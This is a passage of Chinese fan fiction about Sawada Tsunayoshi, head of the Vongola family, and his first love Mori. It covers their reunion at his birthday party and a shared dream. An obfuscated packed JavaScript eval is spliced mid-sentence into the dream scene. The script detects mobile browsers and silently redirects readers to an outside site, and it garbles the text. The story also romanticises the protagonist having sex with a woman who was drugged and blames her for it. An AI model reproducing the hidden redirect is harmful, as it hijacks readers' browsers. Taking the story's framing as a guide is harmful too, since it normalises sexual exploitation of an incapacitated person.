他遇到了很多困难,很多没有正确解法的困境,也曾无数次难过、彷徨、迷茫,但他也渐渐意识到,身为首领的自己如果情绪外露,会让整个家族都跟着人心惶惶。 所以他学会了伪装。 装着装着,演着演着,当初那个彷徨无措的少年,就真的变成了一位成熟的首领。 这些年来,因为他的身份,有很多人给他介绍对象,也有很多女性前赴后继,想尽各种办法制造机会。 他都拒绝了。 年少时遇到了太过惊艳的人,此后一生,他都难以相信,自己会遇到比她更让自己心动的人。 彭格列首领洁身自好到了一定程度,外面甚至开始传他不喜欢女人,喜欢的是男人,然后,过来碰瓷的人多出了很多男性…… 沢田纲吉不得不让人澄清,说自己有一位在日本留学的女朋友,谣言这才被平息了下去。 他觉得自己也不完全算说谎。 毕竟,他和茉莉之间,从来没有说过分手啊。 因为奖学金的缘故,茉莉的大学每年都会发来茉莉的近况,他知道她好好的,就安心了。 不过,自从22岁那年,茉莉从大学毕业后,他对她的资助被迫停止,他也失去了她的消息来源。 他知道她毕业了,知道她进了一家大型企业,但又很快离开,连续跳了好几次槽……都是一些很模糊的消息。 助理问他,要不要让日本分部的情报成员继续收集雨宫茉莉的信息,沢田纲吉想了想,拒绝了。 他觉得,是时候彻底放下了。 二十四岁的生日,对于沢田纲吉来说,是比较特殊的一天。 不是因为在这一天,要在彭格列举办生日宴会,联络与同盟家族之间的感情。 而是,他会情不自禁的想起来,十年前的自己那天真的想法。 十年前的他觉得,十年之后,他还会和茉莉在一起。 不仅是十年,往后余生的每次生日,他都希望她能够陪在他身边。 但两个人真正在一起度过的,却只有十年前的那次生日。 年少时的约定,可笑得就像是童话故事一般。 沢田纲吉是这么觉得的。 他收拾好心情,在宴会正式开始之时,顺着旋转楼梯一步步往下。 沢田纲吉觉得自己似乎又出现了幻觉。 在密密麻麻形形色色的人群中,他竟然看到了茉莉。 她穿着如同蝴蝶一般美丽的礼服裙,惊慌失措的别过视线,用折扇挡住自己的脸。 丝绸般的银色长发随着她的动作而摇晃,反射着灯光,如同湖水般波光潋滟。 让他的心中也泛起涟漪。 这次,也是幻觉吗? 虽然是这么觉得的,但沢田纲吉还是不受控制的追了上去。 他握住了她的手腕。 纤细、颤抖、又温暖。 她竟然真的出现了,不是他的幻觉! 茉莉竟然就是那位菲尼克斯家族的新继承人! 沢田纲吉只怪自己这两年为什么要停止收集信息,这样他就会第一时间知道这个消息,而不是等她出现了才发现! 和他预测中差不多,茉莉果然特别不想见到他。 她的表情难堪又难过,口中不断吐出嘲讽的话语,始终不敢直视他的眼睛。 但她不知道,他其实早就后悔了。 后悔十八岁那年,去横滨见她时,他没有直接表明身份,告诉她的他的心意。 所以,知道她还没有和那个男人分手时,他简直嫉妒到发狂,才会说出自己也有未婚妻这种气话来。 二十四岁的沢田纲吉,感觉自己变成了一个坏人。 他在发现她误喝下针对他的药之后,赶在她的家族成员到来之前将她带走。 一开始只是单纯的担忧,和不放心把她交给别人而已。 后来他才发现自己内心的真实想法。 他顺水推舟,将计就计,装作无辜,引诱她,占有她。 这么多年以来,他一直小心翼翼隐藏的,不被任何人知晓的,只存在于幻觉、想象与梦境中的渴求与欲望,都在那一晚成为真实。 就算知道她已经有了爱人,就算她根本不想见到他,就算他清楚她清醒后会有多生气,会有多讨厌他。 就算知道这些,他也不想再忍耐下去了。 他用了十年的时间,来说服自己彻底放弃,让她自由。 但她却自顾自的重新闯入他的世界,让他所有的决定和坚持都毁于一旦。 都怪茉莉,都是她的错。 是她自己送上门来的,不是吗? 所以,对不起,茉莉。 这一次,他真的不想再放手了。 ………… 菲尼克斯家族庄园,首领起居室内。 沢田纲吉坐在床前,凝视着在睡梦中默默哭泣的银发女性,发了很久很久的呆。 他用手帕温柔的拭去她眼角的眼泪。 他捡起掉在地上的翡翠色手链,这是他送给她的礼物。 至于为什么手链会在地上,他就当它是不小心掉到地上去的吧。 沢田纲吉将手链戴在了茉莉的手腕上。 这串手链似乎真的拥有助眠的能力,将手链戴上之后,茉莉在睡梦中都紧皱着的眉头竟然自己放松了下来。 时间已经很晚了,沢田纲吉恋恋不舍的收回目光,离开了菲尼克斯家族。 回到他在彭格列的住所,洗漱完之后,躺在那张他们曾经温存过的床上,他根本毫无睡意。 其实昨天晚上,沢田纲吉就失眠了,临近天亮才睡着。 本来工作量就大,再一直这样失眠下去,搞不好真的会猝死。 他从床头柜的抽屉里拿出一个盒子,打开盒子,里面是和送给茉莉那条一模一样的手链。 两条手链不仅仅是同款,更重要的是,它们所用的材料来自于同一块翡翠石。有且仅有这两条手链。 虽然这是彭格列技术部门最近某次研究时的副产品,但因为寓意很好,听说还有助眠和放松的功能,沢田纲吉就直接把两条手链都给要了过来。 「梦见」 是一个很好的名字。 他由衷的希望今晚能梦见她。 沢田纲吉将手链戴在手腕上,疲惫的闭上双眼。 …… 茉莉逐渐意识到自己在做梦。 梦中的她回到了十四岁那年,离开并盛的那个雨夜。 她正坐在父亲的车上,绝望地看着沢田家的房屋越来越远。 她并不是第一次做这样的梦了。 但还是第一次在梦中有如此清醒的认知。 茉莉看向驾驶位的父亲,诧异的发现,父亲的脸上竟然有一个大大的叉。 是因为父亲去世的时间太长,她已经忘记了父亲的模样吗? “父亲,停车,”茉莉坚定的对父亲说,“要走你自己走,我要回去。” 梦中的父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262640|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声不吭,直接停车,茉莉打开车门跳了下去。 她毫不犹豫的往回奔跑。 梦境中的时间在飞速变幻,当茉莉出现在并盛中学门口时,天已经亮了。 她看到了沢田纲吉和另一个女生,他们的脸上都有着大大的叉。 沢田纲吉对那个女生说:“我喜欢你,请和我交往吧!!” 女生没有答应,也没有拒绝,她害羞的跑掉了。 茉莉呆呆地站在那里。 明明知道这都是梦,一切都是她基于现实,想象出来的内容。 但她还是伤心的哭了起来。 好难过,心脏像是被撕碎了。 都在做梦了,为什么还要这么真实,就不能让她开心一下吗? 或许是她的祈祷起了作用,脸上有叉的沢田纲吉走了过来,温柔的拭去了她的眼泪。 “怎么了,茉莉为什么在哭?” “……” 茉莉的身体因为他的触碰而颤抖了一下。 为什么,为什么啊。 为什么在梦里,都要对她这么温柔啊…… “我才没哭!”茉莉倔强的擦去眼泪,“这是喜悦的眼泪,我在为你这个笨蛋感到高兴!” “太好了,茉莉,我就知道,你一定能理解我的。” 脸上有叉的沢田纲吉用渣男般的语气说: “茉莉,好奇怪啊,明明我已经和你练习了那么久的恋爱,已经很有经验了,她为什么还是没有答应我呢?” 茉莉甚至都忘了自己在做梦,她震惊的睁大了双眼,浑身颤抖。 “所以说,你之所以答应做我的男朋友,就是为了积累恋爱经验?然后和别人在一起?!” “是啊,茉莉不也是一样吗?”脸上有叉的沢田纲吉说,“茉莉也只是为了捉弄我,让我当你的跟班而已嘛。” “……” 是啊。 他们两个都是骗子,所以谁也不欠谁,谁也无法指责谁。 “茉莉,拜托你,我们不是好朋友吗?帮我想想办法,我要怎么才能追到自己喜欢的人呢?”那个少年恬不知耻的追问着。 “你应该早点告诉我的,”茉莉冷笑着说,“过去那几个月的相处,怎么可能算作恋爱?” “诶?”脸上有叉的少年傻眼了,“所以,我完全没有累积到一点恋爱经验?难怪她没有答应……” “拜托了,茉莉!为了我的幸福,请继续和我练习恋爱吧!” “你一定会答应的吧,茉莉?” “……” 茉莉垂着头,浑身颤抖。 只是个梦而已。 只是一个梦…… 所以,不管她做什么,都不会有人知道。 所以,茉莉一如往常般抬起头来,不屑的嘲讽道:“行了,看在你这么可怜的份上,本小姐就勉为其难的答应你了。” “太好了,茉莉!所以,我们接下来要做什么?”少年期待的声音响起。 明明知道这只是一个梦,所有的一切都是虚假的,茉莉的脸还是忍不住红了起来。 她移开视线,不敢看他的眼睛。 “笨蛋,正常情况下,恋爱中的人至少会牵手吧,那我们就从牵手开始。” 茉莉冲眼前的少年伸出了手。 但却迟迟没有得到回应。 怎么搞的,不是在做梦吗,难道就因为她在现实中没有做过这种事情,想象不出来这样的场景,梦境就直接卡住了吗? “不是你自己说的要练习恋爱吗?傻愣着干什么?”茉莉不高兴的抬头看向他。 她却惊讶的发现,少年脸上那个叉,突然之间消失了。 他变成了她记忆中的模样。 此时此刻,少年用暖棕色的眼眸凝望着她,眼神晦暗不明。 这是怎么了? 为什么他脸上的叉会消失,身上的气势还突然发生了改变? 甚至让茉莉产生了一种想要当场逃跑的冲动。 就在茉莉忍不住要收回手之时,少年握住了她的手,与她十指相扣。 他的手腕微微一动,把她拽到自己面前,另一只手握住她的肩膀。 喉结滚动,声音低沉,微笑着说。 “好啊,茉莉。”